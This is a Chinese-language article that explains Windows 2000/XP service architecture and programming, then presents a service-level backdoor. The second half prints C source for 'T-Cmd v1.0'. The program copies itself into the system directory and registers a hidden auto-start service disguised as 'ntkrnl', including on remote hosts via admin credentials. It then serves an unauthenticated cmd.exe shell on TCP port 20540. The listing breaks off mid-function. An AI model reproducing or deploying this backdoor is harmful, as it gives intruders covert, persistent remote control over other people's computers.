淺析Windows 2000/XP服務(wù)與后門技術(shù)
一、序言
Windows下的服務(wù)程序都遵循服務(wù)控制管理器(SCM)的接口標(biāo)準(zhǔn),它們會(huì)在登錄系統(tǒng)時(shí)自動(dòng)運(yùn)行,甚至在沒有用戶登錄系統(tǒng)的情況下也會(huì)正常執(zhí)行,類似與UNIX系統(tǒng)中的守護(hù)進(jìn)程(daemon)。它們大多是控制臺(tái)程序,不過(guò)也有少數(shù)的GUI程序。本文所涉及到的服務(wù)程序僅限于Windows2000/XP系統(tǒng)中的一般服務(wù)程序,不包含Windows9X。
二、Windows服務(wù)簡(jiǎn)介
服務(wù)控制管理器擁有一個(gè)在注冊(cè)表中記錄的數(shù)據(jù)庫(kù),包含了所有已安裝的服務(wù)程序和設(shè)備驅(qū)動(dòng)服務(wù)程序的相關(guān)信息。它允許系統(tǒng)管理員為每個(gè)服務(wù)自定義安全要求和控制訪問(wèn)權(quán)限。Windows服務(wù)包括四大部分:服務(wù)控制管理器(Service Control Manager),服務(wù)控制程序(Service Control Program),服務(wù)程序(Service Program)和服務(wù)配置程序(Service Configuration Program)。
1.服務(wù)控制管理器(SCM)
服務(wù)控制管理器在系統(tǒng)啟動(dòng)的早期由Winlogon進(jìn)程啟動(dòng),可執(zhí)行文件名是“Admin$\System32\Services.exe”,它是系統(tǒng)中的一個(gè)RPC服務(wù)器,因此服務(wù)配置程序和服務(wù)控制程序可以在遠(yuǎn)程操縱服務(wù)。它包括以下幾方面的信息:
已安裝服務(wù)數(shù)據(jù)庫(kù):服務(wù)控制管理器在注冊(cè)表中擁有一個(gè)已安裝服務(wù)的數(shù)據(jù)庫(kù),它在服務(wù)控制管理器和程序添加,刪除,配置服務(wù)程序時(shí)使用,在注冊(cè)表中數(shù)據(jù)庫(kù)的位置為:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子鍵,每個(gè)子鍵的名字就代表一個(gè)對(duì)應(yīng)的服務(wù)。數(shù)據(jù)庫(kù)中包括:服務(wù)類型(私有進(jìn)程,共享進(jìn)程),啟動(dòng)類型(自動(dòng)運(yùn)行,由服務(wù)控制管理器啟動(dòng),無(wú)效),錯(cuò)誤類型(忽略,常規(guī)錯(cuò)誤,服務(wù)錯(cuò)誤,關(guān)鍵錯(cuò)誤),執(zhí)行文件路徑,依賴信息選項(xiàng),可選用戶名與密碼。
自動(dòng)啟動(dòng)服務(wù):系統(tǒng)啟動(dòng)時(shí),服務(wù)控制管理器啟動(dòng)所有“自啟”服務(wù)和相關(guān)依賴服務(wù)。服務(wù)的加載順序:順序裝載組列表:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ServiceGroupOrder;指定組列表:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GroupOrderList;每個(gè)服務(wù)所依賴的服務(wù)程序。
在系統(tǒng)成功引導(dǎo)后會(huì)保留一份LKG(Last-Know-Good)的配置信息位于:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSetXXX\Services。
因要求而啟動(dòng)服務(wù):用戶可以使用服務(wù)控制面板程序來(lái)啟動(dòng)一項(xiàng)服務(wù)。服務(wù)控制程序也可以使用StartService來(lái)啟動(dòng)服務(wù)。服務(wù)控制管理器會(huì)進(jìn)行下面的操作:獲取帳戶信息,登錄服務(wù)項(xiàng)目,創(chuàng)建服務(wù)為懸掛狀態(tài),分配登錄令牌給進(jìn)程,允許進(jìn)程執(zhí)行。
服務(wù)記錄列表:每項(xiàng)服務(wù)在數(shù)據(jù)庫(kù)中都包含了下面的內(nèi)容:服務(wù)名稱,開始類型,服務(wù)狀態(tài)(類型,當(dāng)前狀態(tài),接受控制代碼,退出代碼,等待提示),依賴服務(wù)列表指針。
服務(wù)控制管理器句柄:服務(wù)控制管理器支持句柄類型訪問(wèn)以下對(duì)象:已安裝服務(wù)數(shù)據(jù)庫(kù),服務(wù)程序,數(shù)據(jù)庫(kù)的鎖開狀態(tài)。
2.服務(wù)控制程序(SCP)
服務(wù)控制程序可以執(zhí)行對(duì)服務(wù)程序的開啟,控制和狀態(tài)查詢功能:
開啟服務(wù):如果服務(wù)的開啟類型為SERVICE_DEMAND_START,就可以用服務(wù)控制程序來(lái)開始一項(xiàng)服務(wù)。在開始服務(wù)的初始化階段服務(wù)的當(dāng)前狀態(tài)為:SERVICE_START_PENDING,而在初始化完成后的狀態(tài)就是:SERVICE_RUNNING。
向正在運(yùn)行的服務(wù)發(fā)送控制請(qǐng)求:控制請(qǐng)求可以是系統(tǒng)默認(rèn)的,也可以是用戶自定義的。標(biāo)準(zhǔn)控制代碼如下:停止服務(wù)(SERVICE_CONTROL_STOP),暫停服務(wù)(SERVICE_CONTROL_PAUSE),恢復(fù)已暫停服務(wù)(SERVICE_CONTROL_CONTINUE),獲得更新信息(SERVICE_CONTROL_INTERROGATE)。
3.服務(wù)程序
一個(gè)服務(wù)程序可能擁有一個(gè)或多個(gè)服務(wù)的執(zhí)行代碼。我們可以創(chuàng)建類型為SERVICE_WIN32_OWN_PROCESS的只擁有一個(gè)服務(wù)的服務(wù)程序。而類型為SERVICE_WIN32_SHARE_PROCESS的服務(wù)程序卻可以包含多個(gè)服務(wù)的執(zhí)行代碼。詳情參見后面的Windows服務(wù)與編程。
4.服務(wù)配置程序
編程人員和系統(tǒng)管理員可以使用服務(wù)配置程序來(lái)更改,查詢已安裝服務(wù)的信息。當(dāng)然也可以通過(guò)注冊(cè)表函數(shù)來(lái)訪問(wèn)相關(guān)資源。
服務(wù)的安裝,刪除和列舉:我們可以使用相關(guān)的系統(tǒng)函數(shù)來(lái)創(chuàng)建,刪除服務(wù)和查詢所有服務(wù)的當(dāng)前狀態(tài)。
服務(wù)配置:系統(tǒng)管理員通過(guò)服務(wù)配置程序來(lái)控制服務(wù)的啟動(dòng)類型,顯示名稱和相關(guān)描述信息。
三、Windows服務(wù)與編程
Windows服務(wù)編程包括幾方面的內(nèi)容,下面我們將從服務(wù)控制程序,服務(wù)程序和服務(wù)配置程序的角度介紹服務(wù)編程相關(guān)的內(nèi)容。
1.服務(wù)控制程序
執(zhí)行服務(wù)控制程序的相關(guān)函數(shù)前,我們需要獲得一個(gè)服務(wù)對(duì)象的句柄,方式有兩種:由OpenSCManager來(lái)獲得一臺(tái)特定主機(jī)的服務(wù)控制管理器數(shù)據(jù)庫(kù)的句柄;使用OpenService或CreateService函數(shù)來(lái)獲得某個(gè)服務(wù)對(duì)象的句柄。
啟動(dòng)服務(wù):要啟動(dòng)一個(gè)服務(wù),服務(wù)控制程序可以使用StartService來(lái)實(shí)現(xiàn)。如果服務(wù)控制管理器數(shù)據(jù)庫(kù)被鎖定,那需要等待一定的時(shí)間然后再次測(cè)試StartService函數(shù)。當(dāng)然也可以使用QueryServiceLockStatus函數(shù)來(lái)確認(rèn)數(shù)據(jù)庫(kù)的當(dāng)前狀態(tài)。在啟動(dòng)成功完成時(shí),那么dwCurrentState參數(shù)將會(huì)返回SERVICE_RUNNING值。
服務(wù)控制請(qǐng)求:服務(wù)控制程序使用ControlService函數(shù)來(lái)發(fā)送控制請(qǐng)求到正在運(yùn)行的服務(wù)程序。它會(huì)向控制句柄函數(shù)發(fā)送一個(gè)特定的控制命令,可以是系統(tǒng)默認(rèn)的,也可以是用戶自定義的。而且每個(gè)服務(wù)都會(huì)確定自己將會(huì)接收的控制命令列表。使用QueryServiceStatus函數(shù)時(shí),在返回的dwControlsAccepted參數(shù)中表明服務(wù)程序?qū)?huì)接收的控制命令。所有的服務(wù)都會(huì)接受SERVICE_CONTROL_INTERROGATE命令。
2.服務(wù)程序
一個(gè)服務(wù)程序內(nèi)可以包含一個(gè)服務(wù)或多個(gè)服務(wù)的執(zhí)行代碼,但是它們都擁有固定的三個(gè)部分:服務(wù)main函數(shù),服務(wù)ServiceMain函數(shù)和服務(wù)Control Handler函數(shù)。
服務(wù)main函數(shù):服務(wù)程序通常是以控制臺(tái)的方式存在的,所以它們的入口點(diǎn)都是main函數(shù)。在服務(wù)控制管理器開始一個(gè)服務(wù)程序時(shí),會(huì)等待StartServiceCtrlDispatcher函數(shù)的執(zhí)行。如果服務(wù)類型是SERVICE_WIN32_OWN_PROCESS就會(huì)立即調(diào)用StartServiceCtrlDispatcher函數(shù)的執(zhí)行;如果服務(wù)類型是SERVICE_WIN32_SHARE_PROCESS,通常在初始化所有服務(wù)之后再調(diào)用它。StartServiceCtrlDispatcher函數(shù)的參數(shù)就是一個(gè)SERVICE_TABLE_ENTRY結(jié)構(gòu),它包含了進(jìn)程內(nèi)所有服務(wù)的名稱和服務(wù)入口點(diǎn)。
服務(wù)ServiceMain函數(shù):函數(shù)ServiceMain是服務(wù)的入口點(diǎn)。在服務(wù)控制程序請(qǐng)求一個(gè)新的服務(wù)啟動(dòng)時(shí),服務(wù)控制管理器啟動(dòng)一個(gè)服務(wù),并發(fā)送一個(gè)開始請(qǐng)求到控制調(diào)度程序,而后控制調(diào)度程序創(chuàng)建一個(gè)新線程來(lái)執(zhí)行ServiceMain函數(shù)。ServiceMain須執(zhí)行以下的任務(wù):調(diào)用RegisterServiceCtrlHandler函數(shù)注冊(cè)一個(gè)HandlerEx函數(shù)來(lái)向服務(wù)發(fā)送控制請(qǐng)求信息,返回值是服務(wù)狀態(tài)句柄用來(lái)向服務(wù)控制管理器傳送服務(wù)狀態(tài)。初始化后調(diào)用SetServiceStatus函數(shù)設(shè)置服務(wù)狀態(tài)為SERVICE_RUNNING。最后,就是執(zhí)行服務(wù)所要完成的任務(wù)。
服務(wù)Control Handler函數(shù):每個(gè)服務(wù)都有一個(gè)控制句柄HandlerEx函數(shù)。它會(huì)在服務(wù)進(jìn)程從服務(wù)控制程序接收到一個(gè)控制請(qǐng)求時(shí)被控制調(diào)度程序所調(diào)用。無(wú)論何時(shí)在HandlerEx函數(shù)被調(diào)用時(shí),都要調(diào)用SetServiceStatus函數(shù)向服務(wù)控制管理器報(bào)告它當(dāng)前的狀態(tài)。在用戶關(guān)閉系統(tǒng)時(shí),所有的控制句柄都會(huì)調(diào)用帶有SERVICE_ACCEPT_SHUTDOW控制代碼的SetServiceStatus函數(shù)來(lái)接收NSERVICE_CONTROL_SHUTDOWN控制代碼。
3.服務(wù)配置程序
服務(wù)配置程序可以更改或查詢服務(wù)的當(dāng)前配置信息。在調(diào)用服務(wù)配置函數(shù)之前,必須獲得一個(gè)服務(wù)對(duì)象的句柄,當(dāng)然我們可以通過(guò)調(diào)用OpenSCManager,OpenService或CreateService函數(shù)來(lái)獲得。
創(chuàng)建,刪除服務(wù):服務(wù)配置程序使用CreateService函數(shù)在服務(wù)控制管理器的數(shù)據(jù)庫(kù)中安裝一個(gè)新服務(wù),它會(huì)提供服務(wù)的名稱和相關(guān)的配置信息并存儲(chǔ)在數(shù)據(jù)庫(kù)中。服務(wù)配置程序則使用DeleteService函數(shù)從數(shù)據(jù)庫(kù)中刪除一個(gè)已經(jīng)安裝的服務(wù)。
四、服務(wù)級(jí)后門技術(shù)
在你進(jìn)入某個(gè)系統(tǒng)后,往往會(huì)為自己留下一個(gè)或多個(gè)后門,以便今后的訪問(wèn)。在上傳一個(gè)后門程序到遠(yuǎn)程系統(tǒng)上后系統(tǒng)重啟之時(shí),總是希望后門仍然存在。那么,將后門程序創(chuàng)建成服務(wù)程序應(yīng)該是個(gè)不錯(cuò)的想法,這就是利用了服務(wù)程序自動(dòng)運(yùn)行的機(jī)制,當(dāng)然在Windows2000的任務(wù)管理器里也很難結(jié)束一個(gè)服務(wù)程序的進(jìn)程。
創(chuàng)建一個(gè)后門,它常常會(huì)在一個(gè)端口監(jiān)聽,以方便我們使用TCP/UDP協(xié)議與遠(yuǎn)程主機(jī)建立連接,所以我們首先需要在后門程序里創(chuàng)建一個(gè)監(jiān)聽的端口,為了數(shù)據(jù)傳輸?shù)姆€(wěn)定與安全,我們可以使用TCP協(xié)議。
那么,我們?nèi)绾尾拍苣M一個(gè)Telnet服務(wù)似的后門呢?我想大家都清楚,如果在遠(yuǎn)程主機(jī)上有一個(gè)Cmd是我們可以控制的,也就是我們可以在這個(gè)Cmd里執(zhí)行命令,那么就可以實(shí)現(xiàn)對(duì)遠(yuǎn)程主機(jī)的控制了,至少可以執(zhí)行各種常規(guī)的系統(tǒng)命令。啟動(dòng)一個(gè)Cmd程序的方法很多,有WinExec,ShellExecute,CreateProcess等,但只能使用CreateProcess,因?yàn)閃inExec和ShellExecute它們實(shí)在太簡(jiǎn)單了。在使用CreateProcess時(shí),要用到它的重定向標(biāo)準(zhǔn)輸入/輸出的選項(xiàng)功能,把在本地主機(jī)的輸入重定向輸入到遠(yuǎn)程主機(jī)的Cmd進(jìn)程,并且把遠(yuǎn)程主機(jī)Cmd進(jìn)程的標(biāo)準(zhǔn)輸出重定向到本地主機(jī)的標(biāo)準(zhǔn)輸出。這就需要在后門程序里使用CreatePipe創(chuàng)建兩個(gè)管道來(lái)實(shí)現(xiàn)進(jìn)程間的數(shù)據(jù)通信(Inter-Process Communication,IPC)。當(dāng)然,還必須將遠(yuǎn)程主機(jī)上Cmd的標(biāo)準(zhǔn)輸入和輸出在本地主機(jī)之間進(jìn)行傳送,我們選擇TCP協(xié)議的send和recv函數(shù)。在客戶結(jié)束訪問(wèn)后,還要調(diào)用TerminateProcess來(lái)結(jié)束創(chuàng)建的Cmd進(jìn)程。
五、關(guān)鍵函數(shù)分析
本文相關(guān)程序T-Cmd v1.0是一個(gè)服務(wù)級(jí)的后門程序,適用平臺(tái)為Windows2000/XP。它可自動(dòng)為遠(yuǎn)程/本地主機(jī)創(chuàng)建服務(wù)級(jí)后門,無(wú)須使用任何額外的命令,支持本地/遠(yuǎn)程模式。重啟后,程序仍然自動(dòng)運(yùn)行,監(jiān)聽端口20540/tcp。
1.自定義數(shù)據(jù)結(jié)構(gòu)與函數(shù)
typedef struct
{
HANDLE hPipe;
//為實(shí)現(xiàn)進(jìn)程間通信而使用的管道;
SOCKET sClient;
//與客戶端進(jìn)行通信時(shí)的客戶端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd標(biāo)準(zhǔn)輸入/輸出時(shí)使用的數(shù)據(jù)結(jié)構(gòu);
typedef struct PROCESSDATA
{
HANDLE hProcess;
//創(chuàng)建Cmd進(jìn)程時(shí)獲得的進(jìn)程句柄;
DWORD dwProcessId;
//創(chuàng)建Cmd進(jìn)程時(shí)獲得的進(jìn)程標(biāo)識(shí)符;
struct PROCESSDATA *next;
//指向下一個(gè)數(shù)據(jù)結(jié)構(gòu)的指針;
}PROCESSDATA,*PPROCESSDATA;
//在客戶結(jié)束訪問(wèn)或刪除服務(wù)時(shí)為關(guān)閉所以的Cmd進(jìn)程而創(chuàng)建的數(shù)據(jù)結(jié)構(gòu);
void WINAPI CmdStart(DWORD,LPTSTR *);
//服務(wù)程序中的“ServiceMain”:注冊(cè)服務(wù)控制句柄,創(chuàng)建服務(wù)主線程;
void WINAPI CmdControl(DWORD);
//服務(wù)程序中的“HandlerEx”:處理接收到的控制命令,刪除已創(chuàng)建的Cmd進(jìn)程;
DWORD WINAPI CmdService(LPVOID);
//服務(wù)主線程,創(chuàng)建服務(wù)監(jiān)聽端口,在接受客戶連接時(shí),創(chuàng)建重定向Cmd標(biāo)準(zhǔn)輸入/輸出線程;
DWORD WINAPI CmdShell(LPVOID);
//創(chuàng)建管道與Cmd進(jìn)程,及Cmd的輸入/輸出線程;
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的輸出,讀取信息后發(fā)送到客戶端;
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的輸入,接收客戶端的信息輸入到Cmd進(jìn)程;
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果選擇遠(yuǎn)程模式,則須與遠(yuǎn)程主機(jī)建立連接,注須提供管理員權(quán)限的用戶名與密碼,密碼為空時(shí)用"NULL"代替;
void InstallCmdService(char *);
//復(fù)制傳送文件,打開服務(wù)控制管理器,創(chuàng)建或打開服務(wù)程序;
void RemoveCmdService(char *);
//刪除文件,停止服務(wù)后,卸載服務(wù)程序;
2.服務(wù)程序相關(guān)函數(shù)
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服務(wù)程序的名稱和入口點(diǎn);
{NULL ,NULL }
//SERVICE_TABLE_ENTRY結(jié)構(gòu)必須以“NULL”結(jié)束;
};
StartServiceCtrlDispatcher(DispatchTable);
//連接服務(wù)控制管理器,開始控制調(diào)度程序線程;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//注冊(cè)CmdControl函數(shù)為“HandlerEx”函數(shù),并初始化;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
//設(shè)置服務(wù)的當(dāng)前狀態(tài)為SERVICE_RUNNING;
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//創(chuàng)建服務(wù)主線程,實(shí)現(xiàn)后門功能;
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量,控制全局變量的同步使用;
TerminateProcess(lpProcessDataHead->hProcess,1);
//終止創(chuàng)建的Cmd進(jìn)程;
hSearch=FindFirstFile(lpImagePath,&FileData);
//查找系統(tǒng)目錄下服務(wù)程序的文件是否已經(jīng)存在;
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//獲得當(dāng)前進(jìn)程的程序文件名;
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//復(fù)制文件到系統(tǒng)目錄下;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//打開服務(wù)控制管理器數(shù)據(jù)庫(kù);
CreateService(schSCManager,"ntkrnl","ntkrnl",
SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,
"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
//創(chuàng)建服務(wù),參數(shù)包括名稱,服務(wù)類型,開始類型,錯(cuò)誤類型及文件路徑等;
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
//如果服務(wù)已經(jīng)創(chuàng)建,則打開服務(wù);
StartService(schService,0,NULL);
//啟動(dòng)服務(wù)進(jìn)程;
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
//控制服務(wù)狀態(tài);
DeleteService(schService);
//卸載服務(wù)程序;
DeleteFile(lpImagePath);
//刪除文件;
3.后門程序相關(guān)函數(shù)
hMutex=CreateMutex(NULL,FALSE,NULL);
//創(chuàng)建互斥量;
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
//創(chuàng)建處理客戶端訪問(wèn)的重定向輸入輸出線程;
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
//創(chuàng)建用于進(jìn)程間通信的輸入/輸出管道;
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
//創(chuàng)建經(jīng)重定向輸入輸出的Cmd進(jìn)程;
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
//創(chuàng)建處理Cmd輸入輸出的線程;
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
//等待線程或進(jìn)程的結(jié)束;
ReleaseMutex(hMutex);
//釋放互斥量;
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
//從管道中復(fù)制數(shù)據(jù)到緩沖區(qū)中,但不從管道中移出;
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
//從管道中復(fù)制數(shù)據(jù)到緩沖區(qū)中;
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
//向管道中寫入從客戶端接收到的數(shù)據(jù);
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
//與遠(yuǎn)程主機(jī)建立連接;
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
//與遠(yuǎn)程主機(jī)結(jié)束連接;
六、附錄
1.SC簡(jiǎn)介
SC是一個(gè)與NT服務(wù)控制器,服務(wù)進(jìn)程進(jìn)行通信的控制臺(tái)程序,它可以查詢和修改已安裝服務(wù)的數(shù)據(jù)庫(kù)。
語(yǔ)法:sc <server> [command] [service name] <option1> <option2>... ,選項(xiàng)<server>為“\\ServerName”的形式。
主要的命令包括:query,config,qc,delete,create,GetDisplayName,GetKeyName,EnumDepend等。
2.T-Cmd v1.0 源代碼
#include <windows.h>
#include <stdio.h>
#define BUFFER_SIZE 1024
typedef struct
{
HANDLE hPipe;
SOCKET sClient;
}SESSIONDATA,*PSESSIONDATA;
typedef struct PROCESSDATA
{
HANDLE hProcess;
DWORD dwProcessId;
struct PROCESSDATA *next;
}PROCESSDATA,*PPROCESSDATA;
HANDLE hMutex;
PPROCESSDATA lpProcessDataHead;
PPROCESSDATA lpProcessDataEnd;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;
void WINAPI CmdStart(DWORD,LPTSTR *);
void WINAPI CmdControl(DWORD);
DWORD WINAPI CmdService(LPVOID);
DWORD WINAPI CmdShell(LPVOID);
DWORD WINAPI ReadShell(LPVOID);
DWORD WINAPI WriteShell(LPVOID);
BOOL ConnectRemote(BOOL,char *,char *,char *);
void InstallCmdService(char *);
void RemoveCmdService(char *);
void Start(void);
void Usage(void);
int main(int argc,char *argv[])
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
{NULL ,NULL }
};
if(argc==5)
{
if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}
if(!stricmp(argv[1],"-install"))
{
InstallCmdService(argv[2]);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(argv[2]);
}
if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}
return 0;
}
else if(argc==2)
{
if(!stricmp(argv[1],"-install"))
{
InstallCmdService(NULL);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(NULL);
}
else
{
Start();
Usage();
}
return 0;
}
StartServiceCtrlDispatcher(DispatchTable);
return 0;
}
void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
HANDLE hThread;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
| SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
if(ServiceStatusHandle==0)
{
OutputDebugString("RegisterServiceCtrlHandler Error !\n");
return ;
}
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdStart Error !\n");
return ;
}
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread in CmdStart Error !\n");
}
return ;
}
void WINAPI CmdControl(DWORD dwCode)
{
switch(dwCode)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
WaitForSingleObject(hMutex,INFINITE);
while(lpProcessDataHead!=NULL)
{
TerminateProcess(lpProcessDataHead->hProcess,1);
if(lpProcessDataHead->next!=NULL)
{
lpProcessDataHead=lpProcessDataHead->next;
}
else
{
lpProcessDataHead=NULL;
}
}
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
}
ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
}
return ;
}
DWORD WINAPI CmdService(LPVOID lpParam)
{
WSADATA wsa;
SOCKET sServer;
SOCKET sClient;
HANDLE hThread;
struct sockaddr_in sin;
WSAStartup(MAKEWORD(2,2),&wsa);
sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sServer==INVALID_SOCKET)
{
OutputDebugString("Socket Error !\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(20540);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString("Bind Error !\n");
return -1;
}
if(listen(sServer,5)==SOCKET_ERROR)
{
OutputDebugString("Listen Error !\n");
return -1;
}
hMutex=CreateMutex(NULL,FALSE,NULL);
if(hMutex==NULL)
{
OutputDebugString("Create Mutex Error !\n");
}
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
while(1)
{
sClient=accept(sServer,NULL,NULL);
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread of CmdShell Error !\n");
break;
}
Sleep(1000);
}
WSACleanup();
return 0;
}
DWORD WINAPI CmdShell(LPVOID lpParam)
{
SOCKET sClient=*(SOCKET *)lpParam;
HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;
HANDLE hThread[3];
DWORD dwReavThreadId,dwSendThreadId;
DWORD dwProcessId;
DWORD dwResult;
STARTUPINFO lpStartupInfo;
SESSIONDATA sdWrite,sdRead;
PROCESS_INFORMATION lpProcessInfo;
SECURITY_ATTRIBUTES saPipe;
PPROCESSDATA lpProcessDataLast;
PPROCESSDATA lpProcessDataNow;
char lpImagePath[MAX_PATH];
saPipe.nLength = sizeof(saPipe);
saPipe.bInheritHandle = TRUE;
saPipe.lpSecurityDescriptor = NULL;
if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for ReadPipe Error !\n");
return -1;
}
if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for WritePipe Error !\n");
return -1;
}
GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,("\\cmd.exe"));
WaitForSingleObject(hMutex,INFINITE);
if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)
{
OutputDebugString("CreateProcess Error !\n");
return -1;
}
lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));
lpProcessDataNow->hProcess=lpProcessInfo.hProcess;
lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;
lpProcessDataNow->next=NULL;
if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL))
{
lpProcessDataHead=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
else
{
lpProcessDataEnd->next=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
hThread[0]=lpProcessInfo.hProcess;
dwProcessId=lpProcessInfo.dwProcessId;
CloseHandle(lpProcessInfo.hThread);
ReleaseMutex(hMutex);
CloseHandle(hWriteShell);
CloseHandle(hReadShell);
sdRead.hPipe = hReadPipe;
sdRead.sClient = sClient;
hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
if(hThread[1]==NULL)
{
OutputDebugString("CreateThread of ReadShell(Send) Error !\n");
return -1;
}
sdWrite.hPipe = hWritePipe;
sdWrite.sClient = sClient;
hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
if(hThread[2]==NULL)
{
OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");
return -1;
}
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))
{
dwResult-=WAIT_OBJECT_0;
if(dwResult!=0)
{
TerminateProcess(hThread[0],1);
}
CloseHandle(hThread[(dwResult+1)%3]);
CloseHandle(hThread[(dwResult+2)%3]);
}
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
WaitForSingleObject(hMutex,INFINITE);
lpProcessDataLast=NULL;
lpProcessDataNow=lpProcessDataHead;
while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))
{
lpProcessDataLast=lpProcessDataNow;
lpProcessDataNow=lpProcessDataNow->next;
}
if(lpProcessDataNow==lpProcessDataEnd)
{
